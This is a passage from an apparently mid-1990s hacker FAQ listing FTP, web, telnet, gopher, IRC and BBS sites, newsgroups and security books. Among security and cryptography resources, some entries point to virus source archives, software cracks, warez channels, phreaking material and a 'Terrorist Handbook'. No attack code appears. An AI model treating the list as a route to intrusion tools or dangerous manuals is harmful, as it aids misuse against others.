ftp.ee.lbl.gov
ftp.eff.org             /pub/Publications/CuD          (EFF)
ftp.elelab.nsc.co.jp    /pub/security                  (Security)
ftp.etext.org                                          (Etext)
ftp.fc.net              /pub/deadkat                   (TNO)
ftp.fc.net              /pub/defcon                    (DefCon)
ftp.fc.net              /pub/defcon/BBEEP              (BlueBeep)
ftp.fc.net              /pub/phrack                    (Phrack)
ftp.foobar.com
ftp.funet.fi            /pub/doc/CuD
ftp.gate.net            /pub/users/laura
ftp.gate.net            /pub/users/wakko
ftp.giga.or.at          /pub/hacker/                   (H/P)
ftp.greatcircle.com     /pub/firewalls                 (Firewalls)
ftp.IEunet.ie           /pub/security                  (Security)
ftp.ifi.uio.no
ftp.indirect.com        /www/evildawg/public_access/C&N/
ftp.info.fundp.ac.be
ftp.informatik.uni-hamburg.de
ftp.informatik.uni-kiel.de /pub/sources/security
ftp.inoc.dl.nec.com     /pub/security                  (Security)
ftp.isi.edu
ftp.lava.net            /users/oracle/                 (H/P
ftp.leo.org/pub/com/os/os2/crypt
ftp.lerc.nasa.gov       /security
ftp.llnl.gov            /pub                           (CIAC)
ftp.luth.se             /pub/unix/security
ftp.lysator.liu.se
ftp.mcs.anl.gov         /pub/security
ftp.microserve.net      /ppp-pop/strata/mac            (Mac)
ftp.near.net            /security/archives/phrack      (Zines)
ftp.nec.com
ftp.net.ohio-state.edu  /pub/security/satan
ftp.netcom.com          /pub/br/bradleym               (Virii)
ftp.netcom.com          /pub/da/daemon9                (H/P)
ftp.netcom.com          /pub/fi/filbert
ftp.netcom.com          /pub/gr/grady
ftp.netcom.com          /pub/il/illusion               (H/P+Virus)
ftp.netcom.com          /pub/je/jericho                (H/P)
ftp.netcom.com          /pub/le/lewiz              (Social Engineering)
ftp.netcom.com          /pub/ty/tym                    (TYM)
ftp.netcom.com          /pub/va/vandal                 (DnA)
ftp.netcom.com          /pub/wt/wtech/
ftp.netcom.com          /pub/zi/zigweed                (H/P)
ftp.netcom.com          /pub/zz/zzyzx                  (H/P)
ftp.netsys.com
ftp.ocs.mq.edu.au       /PC/Crypt                      (Cryptology)
ftp.ox.ac.uk            /pub/comp/security
ftp.ox.ac.uk            /pub/crypto                    (Cryptology)
ftp.ox.ac.uk            /pub/wordlists                 (Wordlists)
ftp.paranoia.com        /pub/toneloc/tl110.zip         (ToneLoc)
ftp.pipex.net           /pub/areacode                  (uk areacodes)
ftp.pop.psu.edu
ftp.primenet.com        /users/i/insphrk
ftp.primenet.com        /users/k/kludge                (H/P)
ftp.primenet.com        /users/s/scuzzy               (Copy Protection)
ftp.primus.com          /pub/security                  (Security)
ftp.psy.uq.oz.au
ftp.psy.uq.oz.au        /pub/DES
ftp.rahul.net           /pub/conquest/DeadelviS/script/vms/
ftp.rahul.net           /pub/lps                      (Home of the FAQ)
ftp.sert.edu.au
ftp.sgi.com
ftp.smartlink.net       /pub/users/mikes/haq
ftp.std.com             /archives/alt.locksmithing     (Locksmithing)
ftp.std.com             /obi/Mischief/             (MIT Guide to Locks)
ftp.std.com             /obi/Phracks                   (Zines)
ftp.sunet.se            /pub/network/monitoring     (Ethernet sniffers)
ftp.sura.net            /pub/security                  (SURAnet)
ftp.technet.sg
ftp.technion.ac.il
ftp.tis.com             /pub                           (TIS)
ftp.tisl.ukans.edu      /pub/security
ftp.uni-koeln.de                                       (Wordlists)
ftp.uspto.gov
ftp.uu.net              /doc/literary/obi/Phracks      (Zines)
ftp.uwp.edu             /pub/dos/romulus/cracks       (Copy Protection)
ftp.vis.colostate.edu
ftp.vix.com
ftp.vortex.com
ftp.warwick.ac.uk       /pub/cud                       (Zines)
ftp.wi.leidenuniv.nl    /pub/security
ftp.win.tue.nl          /pub/security                  (Security)
ftp.winternet.com       /users/nitehwk                 (H/P)
ftp.wustl.edu           /doc/EFF                       (EFF)
ftp.zoom.com
ftp.zrz.tu-berlin.de/pub/security/virus/texts/crypto   (Cryptology)
garbo.uwasa.fi          /pc/crypt                      (Cryptology)
gemini.tuc.noao.edu     /pub/grandi
gti.net                 /pub/safetynet
gumby.dsd.trw.com
hack-this.pc.cc.cmu.edu                               (Down for Summer)
heffer.lab.csuchico.edu                      (Third Stone From The Sun)
hplyot.obspm.fr
info.mcs.anl.gov
infonexus.com           /pub                           (The Guild)
jerico.usc.edu
lcs.mit.edu             /telecom-archives            (Telecom archives)
lod.com                                                (Legion of Doom)
mac.archive.umich.edu
mary.iia.org            /pub/users/patriot             (Misc)
monet.ccs.itd.umich.edu
net-dist.mit.edu        /pub/pgp
net.tamu.edu            /pub/security/TAMU             (Security)
net23.com               /pub                           (Max Headroom)
nic.ddn.mil             /scc                           (DDN Security)
nic.sura.net            /pub/security
oak.oakland.edu         /SimTel/msdos/sound            (DTMF decoders)
oak.oakland.edu         /SimTel/msdos/sysutil          (BIOS attackers)
parcftp.xerox.com
prism.nmt.edu           /pub/misc                  (Terrorist Handbook)
pyrite.rutgers.edu      /pub/security                  (Security)
relay.cs.toronto.edu    /doc/telecom-archives          (Telecom)
rena.dit.co.jp          /pub/security                  (Security)
research.att.com        /dist/internet_security        (AT&T)
ripem.msu.edu           /pub/crypt                     (Ripem)
rmii.com                /pub2/KRaD                     (KRaD Magazine)
rtfm.mit.edu                                           (Etext)
rtfm.mit.edu            /pub/usenet-by-group           (Usenet FAQ's)
scss3.cl.msu.edu        /pub/crypt                     (Cryptology)
sgigate.sgi.com         /Security                      (SGI Security)
sierra.stanford.edu
spy.org                                                (CSC)
src.doc.ic.ac.uk        /usenet/uk.telecom        (uk.telecom archives)
suburbia.apana.org.au   /pub/unix/security             (Security)
sunsolve1.sun.com
theta.iis.u-tokyo.ac.jp /pub1/security                 (Security)
titania.mathematik.uni-ulm.de /pub/security            (Security)
toxicwaste.mit.edu      /pub/rsa129/README             (Breaking RSA)
ugle.unit.no
unipc20.unimed.sintef.no
vic.cc.purdue.edu
vixen.cso.uiuc.edu      /security
web.mit.edu
wimsey.bc.ca            /pub/crypto                    (Cryptology)
uarchive.wustl.edu     /pub/aminet/util/crypt


02. What are some fsp sites of interest to hackers?

  None at this time.


03. What are some newsgroups of interest to hackers?

alt.2600                 Do it 'til it hertz
alt.2600.hackerz
alt.2600hz
alt.2600.codez
alt.2600.debate
alt.2600.moderated
alt.cellular
alt.cellular-phone-tech  Brilliant telephony mind blow netnews naming
alt.comp.virus           An unmoderated forum for discussing viruses
alt.comp.virus.source.code
alt.cracks               Heavy toolbelt wearers of the world, unite
alt.cyberpunk            High-tech low-life.
alt.cyberspace           Cyberspace and how it should work.
alt.dcom.telecom         Discussion of telecommunications technology
alt.engr.explosives      [no description available]
alt.fan.kevin-mitnick
alt.fan.lewiz            Lewis De Payne fan club
alt.hackers              Descriptions of projects currently under development
alt.hackintosh
alt.locksmithing         You locked your keys in *where*?
alt.hackers.malicious    The really bad guys - don't take candy from
                         them
alt.ph.uk                United Kingdom version of alt.2600
alt.privacy.anon-server  Tech. & policy matters of anonymous contact
                         servers
alt.radio.pirate         Hide the gear, here comes the magic
                         station-wagons.
alt.radio.scanner        Discussion of scanning radio receivers.
alt.satellite.tv.europe  All about European satellite tv
alt.security             Security issues on computer systems
alt.security.index       Pointers to good stuff in misc.security
                         (Moderated)
alt.security.keydist     Exchange of keys for public key encryption
                         systems
alt.security.pgp         The Pretty Good Privacy package
alt.security.ripem       A secure email system illegal to export from
                         the US
comp.dcom.cellular       
comp.dcom.telecom        Telecommunications digest (Moderated)
comp.dcom.telecom.tech   
comp.org.cpsr.announce   Computer Professionals for Social
                         Responsibility
comp.org.cpsr.talk       Issues of computing and social responsibility
comp.org.eff.news        News from the Electronic Frontiers Foundation
comp.org.eff.talk        Discussion of EFF goals, strategies, etc.
comp.os.netware.security Netware Security issues
comp.protocols.kerberos  The Kerberos authentification server
comp.protocols.tcp-ip    TCP and IP network protocols
comp.risks               Risks to the public from computers & users
comp.security.announce   Announcements from the CERT about security
comp.security.firewalls  Anything pertaining to network firewall
                         security
comp.security.misc       Security issues of computers and networks
comp.security.unix       Discussion of UNIX security
comp.virus               Computer viruses & security (Moderated)
de.org.ccc               Mitteilungen des CCC e.V.
misc.security            Security in general, not just computers
                         (Moderated)
rec.radio.scanner
rec.video.cable-tv       Technical and regulatory issues of cable
                         television
sci.crypt                Different methods of data en/decryption


04. What are some telnet sites of interest to hackers?

anarchy-online.com
ntiabbs.ntia.doc.gov                  (NTIA)
l0pht.com                             (The L0pht)
sfpg.gcomm.com                        (The Floating Pancreas)
telnet lust.isca.uiowa.edu 2600       (underground bbs)
pcspm2.dar.csiro.au                   (Virtual Doughnutland BBS)
prince.carleton.ca 31337              (Twilight of The Idols)
spy.org                               (Computer Systems Consulting)


05. What are some gopher sites of interest to hackers?

ba.com                  (Bell Atlantic)
cell-relay.indiana.edu  (Cell Relay Retreat)
csrc.ncsl.nist.gov      (NIST Security Gopher)
gopher.acm.org          (SIGSAC (Security, Audit & Control))
gopher.cpsr.org         (Computer Professionals for Social
                        Responsibility)
gopher.eff.org          (Electonic Frontier Foundation)
gopher.panix.com        (Panix)
gw.PacBell.com          (Pacific Bell)
iitf.doc.gov            (NITA -- IITF)
info.itu.ch             (International Telegraph Union)
ncjrs.aspensys.com      (National Criminal Justice Reference Service)
oss.net                 (Open Source Solutions)
spy.org                 (Computer Systems Consulting)
wiretap.spies.com       (Wiretap)


06. What are some World wide Web (WWW) sites of interest to hackers?

134.220.198.66:8000                           (Peter Strangman's)
alcuin.plymouth.edu/~jay/underground.html     (Underground Links)
all.net           (American Society for Industrial Security Management)
alumni.caltech.edu/~dank/isdn/                (ISDN)
asearch.mccmedia.com/www-security.html        (WWW-security info)
aset.rsoc.rockwell.com                        (NASA/MOD AIS Security)
aset.rsoc.rockwell.com/exhibit.html           (Tech. for Info Sec)
att.net/dir800                                (800 directory)
ausg.dartmouth.edu/security.html              (UNIX Security Topics)
bianca.com/bump/ua                      (Unauthorized Access Home Page)
ccnga.uwaterloo.ca/~jscouria/gsm.html         (GSM Specification)
cell-relay.indiana.edu/cell-relay             (Cell Relay Retreat)
ciac.llnl.gov                                 (CIAC Web Site)
community.net/community/all/home/solano/sbaldwin
cs.purdue.edu/homes/spaf/coast.html           (The COAST Project and 
Laboratory)
csbh.mhv.net/dcypher/home.html                (Dcypher's Home Page)
csrc.ncsl.nist.gov                            (NIST)
cwix.com/cwplc                                (Cable and Wireless)
daemon.apana.org.au/~longi/
dcpu1.cs.york.ac.uk:6666/fisher/telecom       (Embryonic Telephone
                                              History Page)
dfw.net/~aleph1                       (The Uebercracker's Security Web)
draco.centerline.com:8080/~franl/crypto.html  (Crypto)
draco.centerline.com:8080/~franl/privacy/bacard-review.html
enigma.pc.cc.cmu.edu/~caffeine/home.html      (Caffeine's Home Page)
everest.cs.ucdavis.edu/Security.html        (UCDavis.edu Security Page)
everest.cs.ucdavis.edu/slides/slides.html     (Security Lab Slides)
ezinfo.ethz.ch/ETH/D-REOK/fsk/fsk_homepage.html (CSSCR)
fastlane.net/homepages/thegnome               (Simple Nomad)
first.org                                     (FIRST)
freeside.com/phrack.html                      (Phrack Magazine)
frosted.mhv.net/keytrap.html
ftp.arpa.mil                                  (ARPA home page)
ftp.tamu.edu/~abr8030/security.html           (Security)
grove.ufl.edu/~bytor                          (Bytor home page)
hightop.nrl.navy.mil/potpourri.html           (MOD Security)
hightop.nrl.navy.mil/rainbow.html             (MOD Rainbow Books)
ice-www.larc.nasa.gov/ICE/papers/hacker-crackdown.html (Sterling)
ice-www.larc.nasa.gov/ICE/papers/nis-requirements.html (ICE NIS)
info.bellcore.com/BETSI/betsi.html            (Betsi)
info.gte.com                                  (GTE Labrotories)
info.mcc.ac.uk/Orange                         (Orange)
infosec.nosc.mil/infosec.html                 (SPAWAR INFOSEC)
infosec.nosc.mil/navcirt.html                 (NAVCIRT)
iss.net/iss                                 (Internet Security Systems)
jumper.mcc.ac.uk/~afs/telecom          (UK Telecom Pricing Information)
l0pht.com                                     (The l0pht)
l0pht.com/~oblivion/IIRG.html                 (Phantasy Magazine)
l0pht.com/~spacerog/index.html                (Whacked Mac Archives)
lcs.mit.edu/telecom-archives/areacodes/guide  (N. American Area Codes)
lcs.mit.edu/telecom-archives/npa.800          (1-800 Info)
lcs.mit.edu/telecom-archives/npa.900          (1-900 Info)
lod.com                                       (Legion of Doom)
lod.com/~gatsby                               (Gatsby)
lod.com/~tabas                                (Mark Tabas -- LOD)
lod.com/~vampire/emptime7                     (Empire Times)
magicnet.net/xtabi/netscape/links/cypher.html (Cryptology)
mars.superlink.net/user/esquire               (Red box info)
matrix.resnet.upenn.edu/rourke                (FakeMail FAQ)
mindlink.jolt.com                          (The Secrets of LockPicking)
mindlink.net/A7657                     (Stephen H Kawamoto's Home Page)
mls.saic.com                                  (SAIC MLS)
mnementh.cs.adfa.oz.au/Lawrie_Brown.html      (Lawrie Brown's crypto
                                              bibliography)
motserv.indirect.com                          (Motorola)
naic.nasa.gov/fbi                             (FBI information)
nasirc.nasa.gov/NASIRC_home.html              (NASIRC)
obscura.com/~loki/                            (Cryptology)
ophie.hughes.american.edu/~ophie              (Ophie)
oregano.sl.pitt.edu/index.htm
outpost.callnet.com/outpost.html
pages.ripco.com:8080/~glr/glr.html            (Full Disclosure)
peg.pegasus.oz.au                             (EFF Australia)
quetel.qc.ca/qt0000ag.htm                     (Quebec-Telephone)
resudox.net/bio/mainpage.html                 (BioHazard's Home Page)
ripco.com:8080/~glr/glr.html                  (Full Disclosure)
rschp2.anu.edu.au:8080/crypt.html
scitsc.wlv.ac.uk/~cs6171/hack                 (UNIX Security)
seclab.cs.ucdavis.edu/Security.html           (Security)
seclab.cs.ucdavis.edu/slides/slides.html      (Security Lab Slides)
sfpg.gcomm.com/mitnick/mitnick.htm     (3wP Kevin Mitnick WWW HomePage)
smurfland.cit.buffalo.edu/NetMan/index.html   (Network Management)
sunsite.unc.edu/sun/inform/sun-info.html(Sun Microsystems Sponsor Page)
support.mayfield.hp.com          (Hewlett Packard SupportLine Services)
tamsun.tamu.edu/~clm3840/hacking.html         (Hacking/Phreaking)
the-tech.mit.edu                              (LaMacchia case info)
town.hall.org/university/security/stoll/cliff.html (Cliff Stoll)
turnpike.net/emporium/C/celestial/celest.html (Detective Databases 1995)
ucs.orst.edu:8001/mintro.html                (Micro Power Broadcasting)
underground.org                               (Eubercrackers)
unixg.ubc.ca:780/~jyee/                       (Cell)
w3.gti.net/safety
web.mit.edu/network/pgp.html                  (Getting PGP)
web.nec.com/products/necam/mrd/cellphones/index.html(NEC)
weber.u.washington.edu/~phantom/cpunk/index.html  (Cryptology)
wildsau.idv.uni-linz.ac.at/~klon/underground/underground.html  (Klon's
                                              Underground Links)
wintermute.itd.nrl.navy.mil/5544.html         (Network Security)
www-mitpress.mit.edu/mitp/recent-books/comp/pgp-source.html
www-ns.rutgers.edu/www-security/index.html    (Rutger's documents on
                                              WWW security)
www-personal.engin.umich.edu/~jgotts/underground/boxes.html  (Box info)
www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
www-swiss.ai.mit.edu/~bal/pks-toplev.html   (Finding someone's PGP key)
www.2600.com                                  (2600 Magazine)
www.8lgm.org                                 (8lgm Security Advisories)
www.aads.net                                  (Ameritech)
www.access.gpo.gov/su_docs/
www.aloha.com/~seanw/index.html
www.alw.nih.gov/WWW/security.html             (UNIX Security)
www.artcom.de/CCC/hotlist.html            (Chaos Computer Club Hotlist)
www.artech-house.com/artech.html              (Artech House)
www.asg.unb.ca                    (Atlantic Systems Group Mosaic Index)
www.aspentec.com/~frzmtdb/fun/hacker.html
www.aston.ac.uk/~bromejt/mobile.html     (Mobile Phone Service Locator)
www.att.com                                   (ATT)
www.auditel.com                               (Auditel)
www.auscert.org.au                            (Australian CERT)
www.axent.com/axent                           (Axent Technologies)
www.ba.com                                    (Bell Atlantic)
www.bctel.com                                 (BC Tel)
www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X-Win)
www.bell.ca                                   (Bell Canada)
www.bell.com                                  (MFJ Task Force)
www.bellcore.com/SECURITY/security.html    (Bellcore Security Products)
www.border.com                            (Border Network Technologies)
www.brad.ac.uk/~nasmith/index.html
www.brad.ac.uk/~nasmith/underground.html      (Undergound WWW Sites)
www.bst.bls.com                               (BellSouth)
www.bt.co.uk                                  (British Telecom)
www.business.co.uk/cellnet                    (Cellnet)
www.c2.org:80/remail/by-www.html             (WWW-based remailing form)
www.c3.lanl.gov/~mcn                          (Lanl)
www.cam.org/~gagnon                           (OCP's)
www.careermosaic.com/cm/uswest                (USWest)
www.castle.net/~kobrien/telecom.html          (Telecom)
www.cco.caltech.edu/~rknop/amiga_pgp26.html
www.cdt.org/cda.html
www.cec.wustl.edu/~dmm2/egs/egs.html          (En Garde Systems)
www.cert.dfn.de/                              (German First Team)
www.checkpoint.com                            (Checkpoint)
www.chem.surrey.ac.uk/~ch11mh/secure.html     (Another page on secure
                                              WWW server setup)
www.cis.ksu.edu/~psiber/fortress/phreak/ph2reak.html (Are You Some
                                              Kind Of PHREAK!)
www.cis.ohio-state.edu/hypertext/faq/usenet/alt-2600-faq/faq.html
www.cityscape.co.uk/users/ek80/index.html     (Inside Cable Cover)
www.cohesive.com                              (Cohesive Systems)
www.commerce.net/information/standards/drafts/shttp.txt (HyperText)
www.con.wesleyan.edu/~triemer/network/docservs.html
www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html
www.cosc.georgetown.edu/~denning/crypto      (The Cryptography Project)
www.cost.se                       (COST Computer Security Technologies)
www.cpsr.org/home                             (CPSR)
www.crimson.com/isdn/telecomacry.txt          (Crimson's
                                           Telecommunications Acronyms)
www.crtc.gc.ca                              (CRTC - Canadian regulator)
www.cs.berkeley.edu/~raph/remailer-list.html  (Anon remailer list)
www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html (CMU Security)
www.cs.purdue.edu/coast/coast.html            (Coast)
www.cs.purdue.edu/pcert/pcert.html            (PCERT)
www.cs.tu-bs.de                              (Network management Tools)
www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk)
www.cs.umd.edu/~lgas                          (Laughing Gas)
www.cs.umd.edu/~lgas/haquerwerld/haquer-individuals.html(Haquerwerld)
www.csd.harris.com/secure_info.html           (Harris)
www.csl.sri.com                              (SRI Computer Science Lab)
www.csua.berekeley.edu/pub/cypherpunks/Home.html  (Cryptology)
www.cwi.nl/cwi/people/Jack.Jansen/spunk/cookbook.html
www.cyber.co.uk/~joyrex                       (Joyrex Cellular)
www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe)
www.cygnus.com/~gnu/export.html  (Cryptography Export Control Archives)
www.datafellows.fi                            (Data Fellows (F-Prot)
www.datasync.com/~sotmesc/sotmesc.html        (SotMESC)
www.dcs.exeter.ac.uk/~aba                     (Cypherpunk)
www.dct.ac.uk/~misb3cp/2600/faq.txt
www.demon.co.uk/mobiles                       (C.C.Mobiles)
www.dhp.com                                   (DataHaven Project)
www.dhp.com/~pluvius                          (Pluvius' Home Page)
www.digicash.com/ecash/ecash-home.html        (Ecash Home Page)
www.digital.com/info/key-secure-index.html    (Digital Secure Systems)
www.dnai.com/~gui/index.html
www.dtic.dla.mil/defenselink                  (Office of the U.S.
                                             Secretary of Defense (OSD)
www.dtic.dla.mil/iac                          (DoD Information Analysis
                                              Center (IAC) Hub Page)
www.eecs.nwu.edu/~jmyers/bugtraq/about.html
www.eecs.nwu.edu/~jmyers/bugtraq/archives.html
www.eecs.nwu.edu/~jmyers/bugtraq/index.html   (Bugtraq)
www.eecs.nwu.edu/~jmyers/ids/index.html   (Intrusion Detection Systems)
www.eff.org
www.eff.org/pub/Alerts
www.eff.org/pub/Net_info/Tools/Crypto/
www.emap.co.uk/partners/racal-airtech         (Racal-Airtech)
www.ensta.fr/internet/unix/sys_admin          (System administration)
www.epic.org
www.ericsson.nl                               (Ericsson)
www.etext.org/Zines/                          (Zines)
www.farmstead.com                             (Farmstead)
www.fbi.gov/fbi/FBI_homepage.html             (FBI Homepage)
www.fc.net/defcon                             (DefCon)
www.fedworld.gov                              (Federal Government)
www.first.org/first/                          (FIRST)
www.fonorola.net                         (Fonorola (a Canadian carrier)
www.frus.com                                  (Firewalls R Us)
www.gbnet.net/kbridge                         (KarlBridge)
www.getnet.com/crak                           (CRAK Software)
www.getnet.com/~vision
www.gold.net/users/cw78                       (FleXtel)
www.greatcircle.com                           (Great Circle Associates)
www.gsu.edu/~socrerx/catalog.html
www.gta.com/index.html                   (Global Technology Associates)
www.gti.net/grayarea                          (Gray Areas)
www.hotwired.com                              (HotWired)
www.hpcc.gov/blue94/section.4.6.html          (NSA)
www.hq2.telecom.ie                            (Telecom Eireann)
www.iacr.org/~iacr                            (International
                             Association of Cryptologic Research (IACR)
www.ibmpcug.co.uk/~Vidtron                    (Videotron)
www.ic.gov                      (Central Intelligence Agency Home Page)
www.ifi.uio.no/~staalesc/PGP/home.html
www.iia.org/~gautier/me.html                 (Rich Gautier's Home Page)
www.indirect.com/www/evildawg
www.indirect.com/www/johnk/                   (CRAK Software)
www.ingress.com                               (Ingress Communications)
www.interaccess.com/trc/tsa.html
www.io.org/~djcl/phoneb.html
www.iquest.net/~oseidler                    (Oliver Seidler's WWW Page)
www.itd.nrl.navy.mil/ITD/5540                 (NRL Center for High
                                            Assurance Computer Systems)
www.itu.ch/TELECOM                            (Telecom '95)
www.jagunet.com/~john/
www.jedefense.com/jed.html              (Journal of Electronic Defense)
www.l0pht.com/cdc.html                        (Cult of the Dead Cow)
www.l0pht.com/radiophone                      (Radiophone Archive)
www.l0pht.com/~oblivion/IIRG.html             (International
                              Information Retrieval Guild Archive Site)
www.lat.com                                   (Los Altos Technologies)
www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security)
www.lib.iup.edu/~seaman/hack/bone.html      (Bone's H/P/C page o' rama)
www.links.net
www.louisville.edu/~wrbake01                  (The GodZ of CyberSpacE)
www.lysator.liu.se:7500/mit-guide/mit-guide.html   (Lockpicking Guide)
www.lysator.liu.se:7500/terror/thb_title.html    (Terrorists Handbook)
www.magi.com/~vektor/linenoiz.html
www.mastercard.com                 (Secure Electronic Payment Protocol)
www.mcs.com/~candyman/http/radio.html         (Radar)
www.mcs.com/~candyman/under.html              (Cell)
www.mcs.net/~candyman                         (H/P)
www.mgmua.com/hackers/index.html              (Hackers, the movie)
www.milkyway.com                        (Milkyway Networks Corporation)
www.mit.edu:8001/people/warlord/pgp-faq.html  (PGP 2.6.2 FAQ, Buglist,
                                              Fixes, and Improvements)
www.monmouth.com/~jshahom                   (The Insomniac's Home Page)
www.mot.com                                   (Motorola)
www.mpr.ca/                                   (MPR Teltech Ltd)
www.msen.com/~emv/tubed/spoofing.html     (Info on IP spoofing attacks)
www.mwjournal.com/mwj.html                    (Microwave Journal)
www.ncsa.uiuc.edu/SDG/Software/Mosaic/Docs/security.html   (Security in
                                              Mosaic)
www.ncsl.nist.gov                    (NIST Computer Systems Laboratory)
www.net23.com                                 (Max Headroom)
www.netpart.com                               (NetPartners)
www.netresponse.com:80/zldf/
www.nic.surfnet.nl/surfnet/security/cert-nl.html       (CERT-NL)
www.nist.gov                                  (NIST)
www.nokia.com                                 (Nokia)
www.nortel.com                                (Northern Telecom)
www.ntt.jp                                    (Nippon Telephone)
www.nynex.co.uk/nynex                         (NYNEX)
www.odci.gov                                  (The CIA)
www.one2one.co.uk                             (Mercury One-2-One)
www.open.gov.uk/oftel/oftelwww/oftelhm.htm    (OFTEL's Home Page)
www.openmarket.com/info/cryptography/applied_cryptography.html
www.pacbell.com                               (Pacific Bell)
www.panix.com/vtw
www.paranoia.com/astrostar/fringe.html
www.paranoia.com/hpa                          (Paranoia's H/P/A Links)
www.paranoia.com/mthreat                      (ToneLoc)
www.paranoia.com/~coldfire                    (Cold Fire's Web Page)
www.paranoia.com/~darkfox                     (Darkfox's Home Page)
www.paranoia.com/~ice9                        (Ice-9's Home Page)
www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP)
www.phantom.com/~darkcyde                     (DarkCyde)
www.phantom.com/~king                         (Randy King's WWW Page)
www.phillips.com                              (Phillips Electronics)
www.phred.org                       (The Phred Networking Organization)
www.pic.net/uniloc/starlink                   (Starlink)
www.planet.net/onkeld                         (BlueBeep Home Page)
www.primenet.com/~kludge/haqr.html            (Kludge)
www.quadralay.com/www/Crypt/Crypt.html        (Quadralay Cryptography)
www.qualcomm.com/cdma/wireless.html           (Qualcomm CDMA)
www.ramp.com/~lcs/winpgp.html                 (PGP with MS/Win)
www.raptor.com                                (Raptor)
www.raptor.com/raptor/raptor.html             (Raptor Network Isolator)
www.research.att.com                          (AT&T)
www.rocksoft.com/~ross                        (Rocksoft Pty (Veracity)
www.rogers.com                                (Rogers Communications)
www.rsa.com                                   (RSA Data Security)
www.sasknet.sk.ca/Pages/sktlhome.html         (SaskTel)
www.satelnet.org/~ccappuc
www.sccsi.com/lsli/lsli.homepage.html         (PORTUS)
www.sctc.com                             (Secure Computing Corporation)
www.seas.upenn.edu/~rourkem                   (FakeMail FAQ)
www.seduction.com
www.sei.cmu.edu/SEI/programs/cert.html       (CERT Coordination Center)
www.service.com/cm/uswest/usw1.html           (USWest)
www.shore.net/~eskwired/hp.html
www.soci.niu.edu/~cudigest
www.somar.com                                 (Somar Software)
www.soscorp.com                               (Sources of Supply Corp)
www.spatz.com/pecos/index.html                (The World of Hacking)
www.spy.org                               (Computer Systems Consulting)
www.spy.org                                   (spy.org)
www.sri.com                                   (SRI)
www.stentor.ca                               (Stentor (Canadian telcos)
www.tecc.co.uk/public/uk-telecom/btns.html    (BT "star services")
www.telecoms-mag.com/tcs.html             (Telecommunications Magazine)
www.telkom.co.za                              (Telkom S.A. Ltd)
www.telstra.com.au/info/security.html        (Security Reference Index)
www.teresa.com
www.tezcat.com/web/security/security_top_level.html
www.tiac.net/users/triad/philes/jokai.html    (Jokai Reservation for
                                 the Preservation of the 1st Amendment)
www.ticllc.net/~scrtnizr
www.tis.com                               (Trusted Information Systems)
www.trcone.com/t_crookb.html                  (CrookBook)
www.tregistry.com/ttr              (Telecomunications Training Courses)
www.tri.sbc.com                               (Southwestern Bell)
www.tricon.net/Comm/synapse                   (Synapse Magazine)
www.tufts.edu/~jpagano/
www.uccs.edu/~abusby/hpawebsites.html
www.uccs.edu/~abusby/k0p.html                 (kn0wledge phreak)
www.uci.agh.edu.pl/pub/security               (Security)
www.uknet.net/pnc                         (The Personal Number Company)
www.umcc.umich.edu/~doug/virus-faq.html       (Virus)
www.underground.org                           (underground.org)
www.underground.org/bugs/
www.usfca.edu/crackdown/crack.html            (Hacker Crackdown)
www.vodafone.co.uk                            (Vodafone)
www.vptt.ch/natel.html                        (Natel)
www.wam.umd.edu/~ankh/public/devil_does_unix
www.warwick.ac.uk/WWW/search/Phones/nng.html  (National Number
                                              Group Codes)
www.well.com/user/abacard
www.well.com/user/crunch                      (Captain Crunch)
www.wfu.edu/~wilsonbd
www.wiltel.com                                (Wiltel)
www.wiltel.com/glossary/glossary.html     (Telecommunications Glossary)
www.wired.com                                 (Wired Magazine)
www2.undernet.org:8080/~cs93jtl/IRC.html      (IRC)

In addition to browsing these fine pages, you can often find what you
are looking for by using one of these automated search engines:

www.altavista.digital.com
www.yahoo.com
www.hotbot.com
www.webcrawler.com


07. What are some IRC channels of interest to hackers?

  #2600
  #cellular
  #hack
  #phreak
  #linux
  #realhack
  #root
  #unix
  #warez
  #warezwaldo


08. What are some BBS's of interest to hackers?

Rune Stone                    (203)832-8441   NUP: Cyberdeck
The Truth Sayer's Domain      (210)493-9975
Hacker's Haven                (303)343-4053
Independent Nation            (413)573-1809
Ut0PiA                        (315)656-5135
underworld_1994.com           (514)683-1894
Alliance Communications       (612)251-8596
Maas-Neotek                   (617)855-2923
Apocalypse 2000               (708)676-9855
K0dE Ab0dE                    (713)579-2276
fARM R0Ad 666                 (713)855-0261
kn0wledge Phreak  BBS    (719)578-8288   NUP=NO NUP
The Edge of Reality           (805)496-7460
Static Line                   (806)747-0802
Area 51                       (908)526-4384
The Drunk Forces              +972-3-5733477


09. What are some books of interest to hackers?

General Computer Security
~~~~~~~~~~~~~~~~~~~~~~~~~

Computer Security Basics
  Author: Deborah Russell and G.T. Gengemi Sr.
  Publisher: O'Reilly & Associates, Inc.
  Copyright Date: 1991
  ISBN: 0-937175-71-4
        This is an excellent book.  It gives a broad overview of
        computer security without sacrificing detail.  A must read for
        the beginning security expert.

The Stephen Cobb Complete Book of PC and LAN Security
  Author: Stephen Cobb
  Publisher: Windcrest Books
  Copyright Date: 1992
  ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)

Security in Computing
  Author: Charles P. Pfleeger
  Publisher: Prentice Hall
  Copyright Date: 1989
  ISBN: 0-13-798943-1.

Windows NT Server 4.0 Guidelines for Security, Audit and Control
  Author:
  Publisher: Microsoft Press
  Copyright Date:
  ISBN: 1-55615-814-9

Protection and Security on the Information Superhighway
  Author: Dr. Frederick B. Cohen)
  Publisher: John Wiley & Sons
  Copyright Date: 1995
  ISBN: 0-471-11389-1

Commonsense Computer Security
  Author: Martin Smith
  Publisher: McGraw-Hill
  Copyright Date: 1993
  ISBN: 0-07-707805-5

UNIX System Security
~~~~~~~~~~~~~~~~~~~~
Practical UNIX Security
  Author: Simson Garfinkel and Gene Spafford
  Publisher: O'Reilly & Associates, Inc.
  Copyright Date: 1991
  ISBN: 0-937175-72-2

Firewalls and Internet Security
  Author: William Cheswick and Steven Bellovin
  Publisher: Addison Wesley
  Copyright Date: 1994
  ISBN: 0-201-63357-4

UNIX System Security
  Author: Rik Farrow
  Publisher: Addison Wesley
  Copyright Date: 1991
  ISBN: 0-201-57030-0

UNIX Security: A Practical Tutorial
